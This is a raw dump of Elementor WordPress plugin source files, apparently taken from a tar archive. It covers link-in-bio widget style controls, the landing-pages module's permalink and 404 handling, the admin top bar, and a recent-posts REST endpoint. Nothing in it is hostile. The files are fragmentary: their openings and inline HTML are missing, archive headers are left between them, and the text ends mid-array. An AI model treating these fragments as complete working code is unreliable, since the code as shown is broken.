$config['style']['cta_section']['has_border_control']['border_color_args'], ); } if ( $config['style']['cta_section']['has_corners'] ) { $this->add_control( 'cta_links_corners', [ 'label' => esc_html__( 'Corners', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => $config['style']['cta_section']['has_corners']['default'], 'options' => $config['style']['cta_section']['has_corners']['options'], 'condition' => $condition_if_has_links, ] ); } if ( $config['style']['cta_section']['has_padding'] ) { $this->add_control( 'cta_links_hr', [ 'type' => Controls_Manager::DIVIDER, ] ); $this->add_responsive_control( 'cta_links_padding', [ 'label' => esc_html__( 'Padding', 'elementor' ), 'type' => Controls_Manager::DIMENSIONS, 'size_units' => [ 'px', '%', 'em', 'rem' ], 'default' => [ 'unit' => 'px', 'isLinked' => false, ], 'condition' => $condition_if_has_links, 'selectors' => [ '{{WRAPPER}} .e-link-in-bio' => '--e-link-in-bio-ctas-padding-block-end: {{BOTTOM}}{{UNIT}}; --e-link-in-bio-ctas-padding-block-start: {{TOP}}{{UNIT}}; --e-link-in-bio-ctas-padding-inline-end: {{RIGHT}}{{UNIT}}; --e-link-in-bio-ctas-padding-inline-start: {{LEFT}}{{UNIT}};', ], ] ); } if ( $config['style']['cta_section']['has_dividers'] ) { $this->add_control( 'cta_links_hr', [ 'type' => Controls_Manager::HEADING, 'label' => esc_html__( 'Dividers', 'elementor' ), 'separator' => 'before', ] ); $this->add_control( 'cta_links_divider_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-link-in-bio__cta' => 'border-bottom-color: {{VALUE}}', ], ] ); $this->add_control( 'cta_links_divider_width', [ 'label' => esc_html__( 'Weight', 'elementor' ) . ' (px)', 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px' ], 'range' => [ 'px' => [ 'min' => 0, 'max' => 10, 'step' => 1, ], ], 'default' => [ 'unit' => 'px', ], 'selectors' => [ '{{WRAPPER}} .e-link-in-bio__cta' => 'border-bottom-width: {{SIZE}}{{UNIT}}', ], ] ); } $this->end_controls_section(); } protected function add_style_identity_controls(): void { $config = static::get_configuration(); $this->start_controls_section( 'identity_section_style', [ 'label' => esc_html__( 'Identity', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $condition = []; if ( $config['content']['identity_section']['identity_image_style'] ) { $condition = [ 'identity_image_style' => 'profile', ]; } $this->add_identity_image_profile_controls( $condition ); $condition = [ 'identity_image_style' => 'cover', ]; $this->add_identity_image_cover_control( $condition ); $this->end_controls_section(); } protected function add_content_tab(): void { $this->add_identity_section(); $this->add_bio_section(); $this->add_icons_controls(); $this->add_cta_controls(); $this->add_image_links_controls(); } protected function add_style_bio_controls(): void { $this->start_controls_section( 'bio_section_style', [ 'label' => esc_html__( 'Bio', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_control( 'bio_heading_heading', [ 'label' => esc_html__( 'Heading', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => 'before', ] ); $this->add_control( 'bio_heading_text_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-link-in-bio' => '--e-link-in-bio-heading-color: {{VALUE}}', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'bio_heading_typography', 'selector' => '{{WRAPPER}} .e-link-in-bio__heading', ] ); $this->add_control( 'bio_title_heading', [ 'label' => esc_html__( 'Title or Tagline', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => 'before', ] ); $this->add_control( 'bio_title_text_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-link-in-bio' => '--e-link-in-bio-title-color: {{VALUE}}', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'bio_title_typography', 'selector' => '{{WRAPPER}} .e-link-in-bio__title', ] ); $this->add_control( 'bio_description_heading', [ 'label' => esc_html__( 'Description', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => 'before', ] ); $this->add_control( 'bio_description_text_color', [ 'label' => esc_html__( 'Text Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-link-in-bio' => '--e-link-in-bio-description-color: {{VALUE}}', ], ] ); $this->add_group_control( Group_Control_Typography::get_type(), [ 'name' => 'bio_description_typography', 'selector' => '{{WRAPPER}} .e-link-in-bio__description', ] ); $this->end_controls_section(); } protected function add_style_icons_controls(): void { $this->start_controls_section( 'icons_section_style', [ 'label' => esc_html__( 'Icons', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_control( 'icons_color', [ 'label' => esc_html__( 'Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'selectors' => [ '{{WRAPPER}} .e-link-in-bio' => '--e-link-in-bio-icon-color: {{VALUE}}', ], ] ); $this->add_control( 'icons_size', [ 'label' => esc_html__( 'Size', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'small', 'options' => [ 'small' => esc_html__( 'Small', 'elementor' ), 'medium' => esc_html__( 'Medium', 'elementor' ), 'large' => esc_html__( 'Large', 'elementor' ), ], ] ); $this->end_controls_section(); } protected function add_style_background_controls(): void { $config = static::get_configuration(); // Defaults for background image and overlay $bg_section_image_field_option_defaults = [ 'background' => [ 'default' => 'classic', ], 'position' => [ 'default' => 'center center', ], 'size' => [ 'default' => 'cover', ], ]; // Background image $bg_image_field_options = $bg_section_image_field_option_defaults; if ( $config['style']['border_section']['field_options'] ) { $bg_image_field_options = array_merge( $bg_section_image_field_option_defaults, $config['style']['border_section']['field_options'] ); } // Background overlay $bg_overlay_image_field_options = $bg_section_image_field_option_defaults; if ( $config['style']['border_section']['overlay_field_options'] ) { $bg_overlay_image_field_options = array_merge( $bg_section_image_field_option_defaults, $config['style']['border_section']['overlay_field_options'] ); } $this->start_controls_section( 'background_border_section_style', [ 'label' => esc_html__( 'Box', 'elementor' ), 'tab' => Controls_Manager::TAB_STYLE, ] ); $this->add_control( 'background_border_background', [ 'label' => esc_html__( 'Background', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => 'before', ] ); $this->add_group_control( Group_Control_Background::get_type(), [ 'name' => 'background_border_background_group', 'types' => [ 'classic', 'gradient' ], 'selector' => '{{WRAPPER}} .e-link-in-bio__bg', 'fields_options' => $bg_image_field_options, ] ); $this->add_control( 'background_border_background_overlay', [ 'label' => esc_html__( 'Background Overlay', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => 'before', ] ); $this->add_group_control( Group_Control_Background::get_type(), [ 'name' => 'background_border_background_overlay_group', 'types' => [ 'classic', 'gradient' ], 'selector' => '{{WRAPPER}} .e-link-in-bio__bg-overlay', 'fields_options' => $bg_overlay_image_field_options, ] ); $this->add_responsive_control( 'background_overlay_opacity', [ 'label' => esc_html__( 'Opacity', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'range' => [ '%' => [ 'max' => 1, 'min' => 0.10, 'step' => 0.01, ], ], 'default' => [ 'unit' => '%', 'size' => 0.5, ], 'condition' => [ 'background_border_background_overlay_group_background!' => '', ], 'selectors' => [ '{{WRAPPER}} .e-link-in-bio' => '--background-overlay-opacity: {{SIZE}};', ], ] ); $this->add_borders_control( 'background', [ 'selectors' => [], 'separator' => 'before', ], [ 'selectors' => [ '{{WRAPPER}} .e-link-in-bio' => '--e-link-in-bio-border-width: {{SIZE}}{{UNIT}};', ], ], [ 'selectors' => [ '{{WRAPPER}} .e-link-in-bio' => '--e-link-in-bio-border-color: {{VALUE}};', ], ] ); $this->add_control( 'background_dimensions', [ 'label' => esc_html__( 'Dimensions', 'elementor' ), 'type' => Controls_Manager::HEADING, 'separator' => 'before', ] ); $this->add_control( 'advanced_layout_full_width_custom', [ 'label' => esc_html__( 'Full Width', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'Yes', 'elementor' ), 'label_off' => esc_html__( 'No', 'elementor' ), 'default' => '', ] ); $this->add_responsive_control( 'advanced_layout_width', [ 'label' => esc_html__( 'Layout Width', 'elementor' ) . ' (px)', 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px' ], 'range' => [ 'px' => [ 'min' => 0, 'max' => 500, 'step' => 1, ], ], 'default' => [ 'unit' => 'px', ], 'condition' => [ 'advanced_layout_full_width_custom' => '', ], 'selectors' => [ '{{WRAPPER}} .e-link-in-bio' => '--e-link-in-bio-container-width: {{SIZE}}{{UNIT}};', ], ] ); $this->add_responsive_control( 'advanced_layout_content_width', [ 'label' => esc_html__( 'Content Width', 'elementor' ) . ' (px)', 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px' ], 'range' => [ 'px' => [ 'min' => 0, 'max' => 400, 'step' => 1, ], ], 'default' => [ 'unit' => 'px', ], 'selectors' => [ '{{WRAPPER}} .e-link-in-bio' => '--e-link-in-bio-content-width: {{SIZE}}{{UNIT}};', ], ] ); $this->add_control( 'advanced_layout_full_screen_height', [ 'label' => esc_html__( 'Full Screen Height', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'Yes', 'elementor' ), 'label_off' => esc_html__( 'No', 'elementor' ), 'return_value' => 'yes', 'default' => '', 'condition' => [ 'advanced_layout_full_width_custom' => 'yes', ], ], ); $configured_breakpoints = $this->get_configured_breakpoints(); $this->add_control( 'advanced_layout_full_screen_height_controls', [ 'label' => esc_html__( 'Apply Full Screen Height on', 'elementor' ), 'type' => Controls_Manager::SELECT2, 'label_block' => true, 'multiple' => true, 'options' => $configured_breakpoints['devices_options'], 'default' => $configured_breakpoints['active_devices'], 'condition' => [ 'advanced_layout_full_width_custom' => 'yes', 'advanced_layout_full_screen_height' => 'yes', ], ] ); $this->end_controls_section(); } protected function add_identity_image_profile_controls( array $condition ): void { $config = static::get_configuration(); $this->add_responsive_control( 'identity_image_size', [ 'label' => esc_html__( 'Image Size', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'range' => [ 'px' => [ 'min' => 0, 'max' => $config['style']['identity_section']['profile_image_max'] ?? 150, ], ], 'default' => [ 'unit' => 'px', ], 'condition' => $condition, 'selectors' => [ '{{WRAPPER}} .e-link-in-bio' => '--e-link-in-bio-identity-image-profile-width: {{SIZE}}{{UNIT}};', ], ] ); if ( $config['style']['identity_section']['has_profile_image_shape'] ) { $this->add_control( 'identity_image_shape', [ 'label' => esc_html__( 'Image Shape', 'elementor' ), 'type' => Controls_Manager::SELECT, 'default' => 'circle', 'options' => [ 'circle' => esc_html__( 'Circle', 'elementor' ), 'square' => esc_html__( 'Square', 'elementor' ), ], 'condition' => $condition, ] ); } $this->add_borders_control( 'identity_image', [ 'condition' => $condition, ], [ 'condition' => $condition, 'selectors' => [ '{{WRAPPER}} .e-link-in-bio' => '--e-link-in-bio-identity-image-profile-border-width: {{SIZE}}{{UNIT}};', ], ], [ 'condition' => $condition, 'selectors' => [ '{{WRAPPER}} .e-link-in-bio' => '--e-link-in-bio-identity-image-profile-border-color: {{VALUE}};', ], ] ); } protected function add_identity_image_cover_control( array $condition ): void { $this->add_responsive_control( 'identity_image_height', [ 'label' => esc_html__( 'Image Height', 'elementor' ), 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px', '%', 'em', 'rem', 'custom' ], 'range' => [ 'px' => [ 'min' => 0, 'max' => $config['style']['identity_section']['cover_image_max'] ?? 1000, 'step' => 1, ], '%' => [ 'min' => 0, 'max' => 100, ], ], 'default' => [ 'unit' => 'px', ], 'condition' => $condition, 'selectors' => [ '{{WRAPPER}} .e-link-in-bio' => '--e-link-in-bio-identity-image-cover-height: {{SIZE}}{{UNIT}};', ], ] ); $this->add_borders_control( 'identity_image_bottom', [ 'condition' => $condition, 'label' => esc_html__( 'Bottom Border', 'elementor' ), ], [ 'condition' => $condition, 'selectors' => [ '{{WRAPPER}} .e-link-in-bio' => '--e-link-in-bio-identity-image-cover-border-bottom-width: {{SIZE}}{{UNIT}};', ], ], [ 'condition' => $condition, 'selectors' => [ '{{WRAPPER}} .e-link-in-bio' => '--e-link-in-bio-identity-image-cover-border-color: {{VALUE}};', ], ] ); } } modules/landing-pages/module.php000064400000042235147206604650012743 0ustar00 'landing-pages', 'title' => esc_html__( 'Landing Pages', 'elementor' ), 'description' => esc_html__( 'Adds a new Elementor content type that allows creating beautiful landing pages instantly in a streamlined workflow.', 'elementor' ), 'release_status' => Experiments_Manager::RELEASE_STATUS_BETA, 'default' => Experiments_Manager::STATE_ACTIVE, 'new_site' => [ 'default_inactive' => true, 'minimum_installation_version' => '3.22.0', ], ]; } /** * Get Trashed Landing Pages Posts * * Returns the posts property of a WP_Query run for Landing Pages with post_status of 'trash'. * * @since 3.1.0 * * @return array trashed posts */ private function get_trashed_landing_page_posts() { if ( $this->trashed_posts ) { return $this->trashed_posts; } // `'posts_per_page' => 1` is because this is only used as an indicator to whether there are any trashed landing pages. $trashed_posts_query = new \WP_Query( [ 'no_found_rows' => true, 'post_type' => self::CPT, 'post_status' => 'trash', 'posts_per_page' => 1, 'meta_key' => '_elementor_template_type', 'meta_value' => self::DOCUMENT_TYPE, ] ); $this->trashed_posts = $trashed_posts_query->posts; return $this->trashed_posts; } private function has_landing_pages() { if ( null !== $this->has_pages ) { return $this->has_pages; } $posts_query = new \WP_Query( [ 'no_found_rows' => true, 'post_type' => self::CPT, 'post_status' => 'any', 'posts_per_page' => 1, 'meta_key' => '_elementor_template_type', 'meta_value' => self::DOCUMENT_TYPE, ] ); $this->has_pages = $posts_query->post_count > 0; return $this->has_pages; } /** * Is Elementor Landing Page. * * Check whether the post is an Elementor Landing Page. * * @since 3.1.0 * @access public * * @param \WP_Post $post Post Object * * @return bool Whether the post was built with Elementor. */ public function is_elementor_landing_page( $post ) { return self::CPT === $post->post_type; } private function get_menu_args() { if ( $this->has_landing_pages() ) { $menu_slug = self::ADMIN_PAGE_SLUG; $function = null; } else { $menu_slug = self::CPT; $function = [ $this, 'print_empty_landing_pages_page' ]; } return [ 'menu_slug' => $menu_slug, 'function' => $function, ]; } private function register_admin_menu( MainMenu $menu ) { $landing_pages_title = esc_html__( 'Landing Pages', 'elementor' ); $menu_args = array_merge( $this->get_menu_args(), [ 'page_title' => $landing_pages_title, 'menu_title' => $landing_pages_title, 'index' => 20, ] ); $menu->add_submenu( $menu_args ); } /** * Add Submenu Page * * Adds the 'Landing Pages' submenu item to the 'Templates' menu item. * * @since 3.1.0 */ private function register_admin_menu_legacy( Admin_Menu_Manager $admin_menu ) { $menu_args = $this->get_menu_args(); $slug = $menu_args['menu_slug']; $function = $menu_args['function']; if ( is_callable( $function ) ) { $admin_menu->register( $slug, new Landing_Pages_Empty_View_Menu_Item( $function ) ); } else { $admin_menu->register( $slug, new Landing_Pages_Menu_Item() ); } } /** * Get 'Add New' Landing Page URL * * Retrieves the custom URL for the admin dashboard's 'Add New' button in the Landing Pages admin screen. This URL * creates a new Landing Pages and directly opens the Elementor Editor with the Template Library modal open on the * Landing Pages tab. * * @since 3.1.0 * * @return string */ private function get_add_new_landing_page_url() { if ( ! $this->new_lp_url ) { $this->new_lp_url = Plugin::$instance->documents->get_create_new_post_url( self::CPT, self::DOCUMENT_TYPE ) . '#library'; } return $this->new_lp_url; } /** * Get Empty Landing Pages Page * * Prints the HTML content of the page that is displayed when there are no existing landing pages in the DB. * Added as the callback to add_submenu_page. * * @since 3.1.0 */ public function print_empty_landing_pages_page() { $template_sources = Plugin::$instance->templates_manager->get_registered_sources(); $source_local = $template_sources['local']; $trashed_posts = $this->get_trashed_landing_page_posts(); ?>
print_blank_state_template( esc_html__( 'Landing Page', 'elementor' ), $this->get_add_new_landing_page_url(), esc_html__( 'Build Effective Landing Pages for your business\' marketing campaigns.', 'elementor' ) ); if ( ! empty( $trashed_posts ) ) : ?>
', '' ); ?>
base ) { return $this->is_elementor_landing_page( get_post() ); } return false; } /** * Admin Localize Settings * * Enables adding properties to the globally available elementorAdmin.config JS object in the Admin Dashboard. * Runs on the 'elementor/admin/localize_settings' filter. * * @since 3.1.0 * * @param $settings * @return array|null */ private function admin_localize_settings( $settings ) { $additional_settings = [ 'urls' => [ 'addNewLandingPageUrl' => $this->get_add_new_landing_page_url(), ], 'landingPages' => [ 'landingPagesHasPages' => $this->has_landing_pages(), 'isLandingPageAdminEdit' => $this->is_landing_page_admin_edit(), ], ]; return array_replace_recursive( $settings, $additional_settings ); } /** * Register Landing Pages CPT * * @since 3.1.0 */ private function register_landing_page_cpt() { $labels = [ 'name' => esc_html__( 'Landing Pages', 'elementor' ), 'singular_name' => esc_html__( 'Landing Page', 'elementor' ), 'add_new' => esc_html__( 'Add New', 'elementor' ), 'add_new_item' => esc_html__( 'Add New Landing Page', 'elementor' ), 'edit_item' => esc_html__( 'Edit Landing Page', 'elementor' ), 'new_item' => esc_html__( 'New Landing Page', 'elementor' ), 'all_items' => esc_html__( 'All Landing Pages', 'elementor' ), 'view_item' => esc_html__( 'View Landing Page', 'elementor' ), 'search_items' => esc_html__( 'Search Landing Pages', 'elementor' ), 'not_found' => esc_html__( 'No landing pages found', 'elementor' ), 'not_found_in_trash' => esc_html__( 'No landing pages found in trash', 'elementor' ), 'parent_item_colon' => '', 'menu_name' => esc_html__( 'Landing Pages', 'elementor' ), ]; $args = [ 'labels' => $labels, 'public' => true, 'show_in_menu' => 'edit.php?post_type=elementor_library&tabs_group=library', 'capability_type' => 'page', 'taxonomies' => [ Source_Local::TAXONOMY_TYPE_SLUG ], 'supports' => [ 'title', 'editor', 'comments', 'revisions', 'trackbacks', 'author', 'excerpt', 'page-attributes', 'thumbnail', 'custom-fields', 'post-formats', 'elementor' ], ]; register_post_type( self::CPT, $args ); } /** * Remove Post Type Slug * * Landing Pages are supposed to act exactly like pages. This includes their URLs being directly under the site's * domain name. Since "Landing Pages" is a CPT, WordPress automatically adds the landing page slug as a prefix to * it's posts' permalinks. This method checks if the post's post type is Landing Pages, and if it is, it removes * the CPT slug from the requested post URL. * * Runs on the 'post_type_link' filter. * * @since 3.1.0 * * @param $post_link * @param $post * @param $leavename * @return string|string[] */ private function remove_post_type_slug( $post_link, $post, $leavename ) { // Only try to modify the permalink if the post is a Landing Page. if ( self::CPT !== $post->post_type || 'publish' !== $post->post_status ) { return $post_link; } // Any slug prefixes need to be removed from the post link. return trailingslashit( get_home_url() ) . trailingslashit( $post->post_name ); } /** * Adjust Landing Page Query * * Since Landing Pages are a CPT but should act like pages, the WP_Query that is used to fetch the page from the * database needs to be adjusted. This method adds the Landing Pages CPT to the list of queried post types, to * make sure the database query finds the correct Landing Page to display. * Runs on the 'pre_get_posts' action. * * @since 3.1.0 * * @param \WP_Query $query */ private function adjust_landing_page_query( \WP_Query $query ) { // Only handle actual pages. if ( ! $query->is_main_query() // If the query is not for a page. || ! isset( $query->query['page'] ) // If the query is for a static home/blog page. || is_home() // If the post type comes already set, the main query is probably a custom one made by another plugin. // In this case we do not want to intervene in order to not cause a conflict. || isset( $query->query['post_type'] ) ) { return; } // Create the post types property as an array and include the landing pages CPT in it. $query_post_types = [ 'post', 'page', self::CPT ]; // Since WordPress determined this is supposed to be a page, we'll pre-set the post_type query arg to make sure // it includes the Landing Page CPT, so when the query is parsed, our CPT will be a legitimate match to the // Landing Page's permalink (that is directly under the domain, without a CPT slug prefix). In some cases, // The 'name' property will be set, and in others it is the 'pagename', so we have to cover both cases. if ( ! empty( $query->query['name'] ) ) { $query->set( 'post_type', $query_post_types ); } elseif ( ! empty( $query->query['pagename'] ) && false === strpos( $query->query['pagename'], '/' ) ) { $query->set( 'post_type', $query_post_types ); // We also need to set the name query var since redirect_guess_404_permalink() relies on it. add_filter( 'pre_redirect_guess_404_permalink', function( $value ) use ( $query ) { set_query_var( 'name', $query->query['pagename'] ); return $value; } ); } } /** * Handle 404 * * This method runs after a page is not found in the database, but before a page is returned as a 404. * These cases are handled in this filter callback, that runs on the 'pre_handle_404' filter. * * In some cases (such as when a site uses custom permalink structures), WordPress's WP_Query does not identify a * Landing Page's URL as a post belonging to the Landing Page CPT. Some cases are handled successfully by the * adjust_landing_page_query() method, but some are not and still trigger a 404 process. This method handles such * cases by overriding the $wp_query global to fetch the correct landing page post entry. * * For example, since Landing Pages slugs come directly after the site domain name, WP_Query might parse the post * as a category page. Since there is no category matching the slug, it triggers a 404 process. In this case, we * run a query for a Landing Page post with the passed slug ($query->query['category_name']. If a Landing Page * with the passed slug is found, we override the global $wp_query with the new, correct query. * * @param $current_value * @param $query * @return false */ private function handle_404( $current_value, $query ) { global $wp_query; // If another plugin/theme already used this filter, exit here to avoid conflicts. if ( $current_value ) { return $current_value; } if ( // Make sure we only intervene in the main query. ! $query->is_main_query() // If a post was found, this is not a 404 case, so do not intervene. || ! empty( $query->posts ) // This filter is only meant to deal with wrong queries where the only query var is 'category_name'. // If there is no 'category_name' query var, do not intervene. || empty( $query->query['category_name'] ) // If the query is for a real taxonomy (determined by it including a table to search in, such as the // wp_term_relationships table), do not intervene. || ! empty( $query->tax_query->table_aliases ) ) { return false; } // Search for a Landing Page with the same name passed as the 'category name'. $possible_new_query = new \WP_Query( [ 'no_found_rows' => true, 'post_type' => self::CPT, 'name' => $query->query['category_name'], ] ); // Only if such a Landing Page is found, override the query to fetch the correct page. if ( ! empty( $possible_new_query->posts ) ) { $wp_query = $possible_new_query; //phpcs:ignore WordPress.WP.GlobalVariablesOverride.Prohibited } return false; } public function __construct() { $this->permalink_structure = get_option( 'permalink_structure' ); $this->register_landing_page_cpt(); // If there is a permalink structure set to the site, run the hooks that modify the Landing Pages permalinks to // match WordPress' native 'Pages' post type. if ( '' !== $this->permalink_structure ) { // Landing Pages' post link needs to be modified to be identical to the pages permalink structure. This // needs to happen in both the admin and the front end, since post links are also used in the admin pages. add_filter( 'post_type_link', function( $post_link, $post, $leavename ) { return $this->remove_post_type_slug( $post_link, $post, $leavename ); }, 10, 3 ); // The query itself only has to be manipulated when pages are viewed in the front end. if ( ! is_admin() || wp_doing_ajax() ) { add_action( 'pre_get_posts', function ( $query ) { $this->adjust_landing_page_query( $query ); } ); // Handle cases where visiting a Landing Page's URL returns 404. add_filter( 'pre_handle_404', function ( $value, $query ) { return $this->handle_404( $value, $query ); }, 10, 2 ); } } add_action( 'elementor/documents/register', function( Documents_Manager $documents_manager ) { $documents_manager->register_document_type( self::DOCUMENT_TYPE, Landing_Page::get_class_full_name() ); } ); add_action( 'elementor/admin/menu/register', function( Admin_Menu_Manager $admin_menu ) { $this->register_admin_menu_legacy( $admin_menu ); }, Source_Local::ADMIN_MENU_PRIORITY + 20 ); // Add the custom 'Add New' link for Landing Pages into Elementor's admin config. add_action( 'elementor/admin/localize_settings', function( array $settings ) { return $this->admin_localize_settings( $settings ); } ); add_filter( 'elementor/template_library/sources/local/register_taxonomy_cpts', function( array $cpts ) { $cpts[] = self::CPT; return $cpts; } ); // In the Landing Pages Admin Table page - Overwrite Template type column header title. add_action( 'manage_' . Landing_Pages_Module::CPT . '_posts_columns', function( $posts_columns ) { /** @var Source_Local $source_local */ $source_local = Plugin::$instance->templates_manager->get_source( 'local' ); return $source_local->admin_columns_headers( $posts_columns ); } ); // In the Landing Pages Admin Table page - Overwrite Template type column row values. add_action( 'manage_' . Landing_Pages_Module::CPT . '_posts_custom_column', function( $column_name, $post_id ) { /** @var Landing_Page $document */ $document = Plugin::$instance->documents->get( $post_id ); $document->admin_columns_content( $column_name ); }, 10, 2 ); // Overwrite the Admin Bar's 'New +' Landing Page URL with the link that creates the new LP in Elementor // with the Template Library modal open. add_action( 'admin_bar_menu', function( $admin_bar ) { // Get the Landing Page menu node. $new_landing_page_node = $admin_bar->get_node( 'new-e-landing-page' ); if ( $new_landing_page_node ) { $new_landing_page_node->href = $this->get_add_new_landing_page_url(); $admin_bar->add_node( $new_landing_page_node ); } }, 100 ); } } modules/landing-pages/documents/landing-page.php000064400000004437147206604650016007 0ustar00print_admin_column_type(); } } protected function get_remote_library_config() { $config = [ 'type' => 'lp', 'default_route' => 'templates/landing-pages', 'autoImportSettings' => true, ]; return array_replace_recursive( parent::get_remote_library_config(), $config ); } } modules/landing-pages/admin-menu-items/landing-pages-empty-view-menu-item.php000064400000001010147206604650023324 0ustar00render_callback = $render_callback; } public function render() { ( $this->render_callback )(); } } modules/landing-pages/admin-menu-items/landing-pages-menu-item.php000064400000001250147206604650021226 0ustar00
get_css_assets_url( 'admin-top-bar', null, 'default', true ), [], ELEMENTOR_VERSION ); /** * Before admin top bar enqueue scripts. * * Fires before Elementor admin top bar scripts are enqueued. * * @since 3.19.0 */ do_action( 'elementor/admin_top_bar/before_enqueue_scripts', $this ); wp_enqueue_script( 'elementor-admin-top-bar', $this->get_js_assets_url( 'admin-top-bar' ), [ 'elementor-common', 'react', 'react-dom', 'tipsy', ], ELEMENTOR_VERSION, true ); wp_set_script_translations( 'elementor-admin-top-bar', 'elementor' ); $min_suffix = Utils::is_script_debug() ? '' : '.min'; wp_enqueue_script( 'tipsy', ELEMENTOR_ASSETS_URL . 'lib/tipsy/tipsy' . $min_suffix . '.js', [ 'jquery', ], '1.0.0', true ); $this->print_config(); } private function add_frontend_settings() { $settings = []; $settings['is_administrator'] = current_user_can( 'manage_options' ); // TODO: Find a better way to add apps page url to the admin top bar. $settings['apps_url'] = admin_url( 'admin.php?page=elementor-apps' ); $settings['promotion'] = [ 'text' => __( 'Upgrade Now', 'elementor' ), 'url' => 'https://go.elementor.com/wp-dash-admin-top-bar-upgrade/', ]; $settings['promotion'] = Filtered_Promotions_Manager::get_filtered_promotion_data( $settings['promotion'], 'elementor/admin_top_bar/go_pro_promotion', 'url' ); $current_screen = get_current_screen(); /** @var \Elementor\Core\Common\Modules\Connect\Apps\Library $library */ $library = Plugin::$instance->common->get_component( 'connect' )->get_app( 'library' ); if ( $library ) { $settings = array_merge( $settings, [ 'is_user_connected' => $library->is_connected(), 'connect_url' => $library->get_admin_url( 'authorize', [ 'utm_source' => 'top-bar', 'utm_medium' => 'wp-dash', 'utm_campaign' => 'connect-account', 'utm_content' => $current_screen->id, 'source' => 'generic', ] ), ] ); } $this->set_settings( $settings ); do_action( 'elementor/admin-top-bar/init', $this ); } private function is_top_bar_active() { $current_screen = get_current_screen(); if ( ! $current_screen ) { return false; } $is_elementor_page = strpos( $current_screen->id ?? '', 'elementor' ) !== false; $is_elementor_post_type_page = strpos( $current_screen->post_type ?? '', 'elementor' ) !== false; return apply_filters( 'elementor/admin-top-bar/is-active', $is_elementor_page || $is_elementor_post_type_page, $current_screen ); } /** * Module constructor. */ public function __construct() { parent::__construct(); add_action( 'current_screen', function () { if ( ! $this->is_top_bar_active() ) { return; } $this->add_frontend_settings(); add_action( 'in_admin_header', function () { $this->render_admin_top_bar(); } ); add_action( 'admin_enqueue_scripts', function () { $this->enqueue_scripts(); } ); } ); } } modules/site-navigation/module.php000064400000003774147206604650013340 0ustar00data_manager_v2->register_controller( new Controller() ); $is_tests = Utils::is_elementor_tests(); $is_v2_experiment_on = Plugin::$instance->experiments->is_feature_active( 'editor_v2' ); if ( ! $is_v2_experiment_on && ! $is_tests ) { return; } $this->register_pages_panel_experiment(); if ( Plugin::$instance->experiments->is_feature_active( self::PAGES_PANEL_EXPERIMENT_NAME ) ) { add_filter( 'elementor/editor/v2/scripts/env', function( $env ) { $env['@elementor/editor-site-navigation'] = [ 'is_pages_panel_active' => true, ]; return $env; } ); $this->register_rest_fields(); } } /** * Retrieve the module name. * * @return string */ public function get_name() { return 'site-navigation'; } /** * Register Experiment * * @since 3.16.0 * * @return void * @throws \Exception */ private function register_pages_panel_experiment() { Plugin::$instance->experiments->add_feature( [ 'name' => self::PAGES_PANEL_EXPERIMENT_NAME, 'title' => esc_html__( 'Pages Panel', 'elementor' ), 'release_status' => Experiments_Manager::RELEASE_STATUS_ALPHA, 'default' => Experiments_Manager::STATE_INACTIVE, 'hidden' => true, 'dependencies' => [ 'editor_v2', ], ] ); } private function register_rest_fields() { add_action( 'rest_api_init', function() { ( new Page_User_Can() )->register_rest_field(); } ); } } modules/site-navigation/data/endpoints/recent-posts.php000064400000004762147206604650017413 0ustar00 [ 'description' => 'Number of posts to return', 'type' => 'integer', 'required' => true, 'sanitize_callback' => 'absint', 'validate_callback' => 'rest_validate_request_arg', ], 'post_type' => [ 'description' => 'Post types to retrieve', 'type' => 'array', 'required' => false, 'default' => [ 'page', 'post', Source_Local::CPT ], 'sanitize_callback' => 'rest_sanitize_array', 'validate_callback' => 'rest_validate_request_arg', ], 'post__not_in' => [ 'description' => 'Post id`s to exclude', 'type' => 'array', 'required' => [], 'sanitize_callback' => 'wp_parse_id_list', 'validate_callback' => 'rest_validate_request_arg', ], ]; parent::register_items_route( $methods, $args ); } public function get_name() { return 'recent-posts'; } public function get_format() { return 'site-navigation/recent-posts'; } public function get_items( $request ) { $args = [ 'posts_per_page' => $request->get_param( 'posts_per_page' ), 'post_type' => $request->get_param( 'post_type' ), 'fields' => 'ids', 'meta_query' => [ [ 'key' => Document::TYPE_META_KEY, 'value' => Kit::get_type(), // Exclude kits. 'compare' => '!=', ], ], ]; $exclude = $request->get_param( 'post__not_in' ); if ( ! empty( $exclude ) ) { $args['post__not_in'] = $exclude; } $recently_edited_query = Utils::get_recently_edited_posts_query( $args ); $recent = []; foreach ( $recently_edited_query->posts as $id ) { $document = Plugin::$instance->documents->get( $id ); $recent[] = [ 'id' => $id, 'title' => get_the_title( $id ), 'edit_url' => $document->get_edit_url(), 'date_modified' => get_post_timestamp( $id, 'modified' ), 'type' => [ 'post_type' => get_post_type( $id ), 'doc_type' => $document->get_name(), 'label' => $document->get_title(), ], 'user_can' 